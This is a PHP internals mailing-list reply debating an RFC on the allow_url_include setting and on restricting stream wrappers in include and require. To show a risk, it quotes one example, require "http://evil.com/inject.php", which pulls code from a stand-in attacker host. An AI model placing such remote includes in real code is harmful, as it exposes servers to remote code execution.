Newsgroups: php.internals
Path: news.php.net
Xref: news.php.net php.internals:83934
Mailing-List: contact internals-help@lists.php.net; run by ezmlm
Received-SPF: pass (pb1.pair.com: domain gmail.com designates 209.85.192.179 as permitted sender)
Message-ID: <54EFA3AC.9070406@gmail.com>
Date: Thu, 26 Feb 2015 14:52:28 -0800
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
MIME-Version: 1.0
To: Yasuo Ohgaki <yohgaki@ohgaki.net>
CC: "internals@lists.php.net" <internals@lists.php.net>
References: <CAGa2bXbt9FAdRtW1GxDyT+G-4bWBACTso_DOizcSHmmgmSVtmA@mail.gmail.com> <CAGa2bXb5QEKOggRbUnmVHuib=P_tJ9_W+QyMa_SCpc7RmSCgSA@mail.gmail.com> <54EE50CF.9090508@gmail.com> <CALwr1GmoAxfbKvJYVLeL3wPXEKKbu1jKGkTFcG0KQ_Ogx172sA@mail.gmail.com> <54EE5A39.9040401@gmail.com> <CAGa2bXYWQCZA8_-EpQcb_Af7DT-_FV7HdfAHZrVt4V7i7vEURg@mail.gmail.com> <54EEDE8E.6070201@gmail.com> <CAGa2bXamvrxJR=KBoygrwM=3RrHdB6cpuTJxcwVaY1jrUQ-4iQ@mail.gmail.com> <CAGa2bXYxrntPuWfe_W=foS1YX_J9L41FFgJizwcq5C=czbouaA@mail.gmail.com>
In-Reply-To: <CAGa2bXYxrntPuWfe_W=foS1YX_J9L41FFgJizwcq5C=czbouaA@mail.gmail.com>
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
Subject: Re: [PHP-DEV] Re: [RFC][VOTE] Introduce script only include/require
From: smalyshev@gmail.com (Stanislav Malyshev)

Hi!

> SInce allow_url_include change is very simple one, I've just made new RFC
> for it.
> 
> https://wiki.php.net/rfc/allow_url_include
> 
> If you find any other issue like this that relates to this RFC, please
> let me know
> I'll put this discussion shortly.

I'm not sure what this RFC is trying to achieve. I.e. why make it
INI_ALL? Setting it to off instantly allows remote includes, etc. so if
you are at all worried about vulnerable includes, you'd never tell
anybody to enable it (there can be rare cases where you want to enable
it, but really if you know what you're doing - that's why the level is
so high, supposedly if you have access to SYSTEM, you run the server so
you're supposed to know some stuff about security or at least it's your
own server you're ruining if you don't).

As for the second part - banning all streams from allow_url_include -
that would be pretty huge BC break, as streams are used in many
scenarios where you may need virtual FSs, filters, etc. It is a very
handy tool. Current setting allows you to operate inside your local
security domain while cutting off content that comes from outside of
your domain. Your proposal would give the user the choice of either to
disable streams completely and lose all benefits coming with them - or
allow everything completely, including require
"http://evil.com/inject.php". That's not a good choice to give to the
users.
-- 
Stas Malyshev
smalyshev@gmail.com